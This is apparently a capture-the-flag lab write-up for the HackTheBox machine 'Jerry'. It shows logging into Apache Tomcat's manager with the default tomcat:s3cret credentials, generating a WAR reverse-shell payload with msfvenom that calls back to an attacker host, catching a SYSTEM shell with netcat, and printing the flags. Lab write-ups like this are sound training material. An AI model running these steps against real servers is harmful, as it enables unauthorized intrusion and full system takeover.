# Jerry

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FVcXrP5t86vVT0w60eFRU%2F59f03a24178dbb2bdc94968c201e21f8.png?alt=media&#x26;token=60b8c9c5-89f4-46bd-ae1d-076a3e2f6cc5" alt=""><figcaption></figcaption></figure>

## Enumeration:

### Port Scanning:

#### Nmap:

```bash
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Jerry]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 10.129.136.9            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 12:46 +03
Nmap scan report for 10.129.136.9
Host is up, received echo-reply ttl 127 (0.14s latency).
Scanned at 2025-09-18 12:46:24 +03 for 139s
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON          VERSION
8080/tcp open  http    syn-ack ttl 127 Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
```

We only have apache tomcat running on port 8080.

Open it with `Firefox`:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FmzsxaXLL1FUW4A2R6xjo%2Fimage.png?alt=media&#x26;token=679372e9-8406-4d4a-ade0-e0aec4984f09" alt=""><figcaption></figcaption></figure>

We can see the version is shown above, and it is old, so we can find a multiple of exploits.

## Exploitaion:

### Get a reverse shell:

I will click on manager app:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FmVfLPVObJXijuTLdAqcy%2Fimage.png?alt=media&#x26;token=174e7611-bc7b-4368-8b79-6a83c6a0957b" alt=""><figcaption></figcaption></figure>

It will ask me for username and password:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FQE3BsrJmbG1VLG7PSYgl%2Fimage.png?alt=media&#x26;token=d5ec6937-7b71-40ed-8e7e-24a2811dfab3" alt=""><figcaption></figcaption></figure>

We can try multiple combinations of default credentials, like admin:admin:

We will get access denied, but it will show default credentials `tomcat:s3cret`:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FgS5zhUv537ZU5FwYbg0C%2Fimage.png?alt=media&#x26;token=8fbcd047-d98a-49e7-8c79-dd78fea872ec" alt=""><figcaption></figcaption></figure>

Lets test them:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FlhAMra1JMgEUpQMkmyXa%2Fimage.png?alt=media&#x26;token=87d75a36-1448-49fd-bf0a-8efca69f26e6" alt=""><figcaption></figcaption></figure>

We successfully managed to authenticate.

We can now upload a jsp file or war file and deploy, but first we should create the war file using `msfvenom`:

```bash
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Jerry]                                   
└─$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.16 LPORT=443 -f war -o shell.war                                                                                      
Payload size: 13030 bytes                  
Final size of war file: 13030 bytes                                                   
Saved as: shell.war
```

Scroll down a bit, we will find (select war file to upload):

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FG7zmT4hdryeoliyiGihb%2Fimage.png?alt=media&#x26;token=314d3303-4d5c-42b1-b925-ae6be9d48df4" alt=""><figcaption></figcaption></figure>

I will press browse, and upload the shell.war that I created:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FUIW0RXFV7sYnBlq2KeST%2Fimage.png?alt=media&#x26;token=d99444e3-dd7c-4099-9595-fbd321cdae16" alt=""><figcaption></figcaption></figure>

Click on deploy, and we will see it in the applications table:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FONbNGM1StsNgGio3N9lt%2Fimage.png?alt=media&#x26;token=ad88c5b3-ae0d-41fb-be63-786bbacebd07" alt=""><figcaption></figcaption></figure>

Start our `netcat` listener:

```bash
┌──(kali㉿kali)-[~/…/CTF/Machines/HackTheBox/Jerry]                                   
└─$ rlwrap nc -nlvp 443                    
listening on [any] 443 ...
```

And click on that shell in the applications table, or naviagte to `IP:PORT/shell/`:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FatGdA04G1bfHSETRoH2N%2Fimage.png?alt=media&#x26;token=c99559f8-79e4-4628-af9f-0adb6f6d5f2c" alt=""><figcaption></figcaption></figure>

We will see a blank page, but when we go back to our listener:

```bash
connect to [10.10.16.16] from (UNKNOWN) [10.129.136.9] 49198                          
Microsoft Windows [Version 6.3.9600]       
(c) 2013 Microsoft Corporation. All rights reserved.                                  
                                           
C:\apache-tomcat-7.0.88>whoami
nt authority\system

C:\apache-tomcat-7.0.88>hostname
JERRY

C:\apache-tomcat-7.0.88>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::19c5:d18d:c40a:d5cd
   Link-local IPv6 Address . . . . . : fe80::19c5:d18d:c40a:d5cd%12
   IPv4 Address. . . . . . . . . . . : 10.129.136.9
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%12
                                       10.129.0.1

Tunnel adapter isatap..htb:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : .htb
```

We can now get the flags:

```bash
C:\apache-tomcat-7.0.88>type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e
```
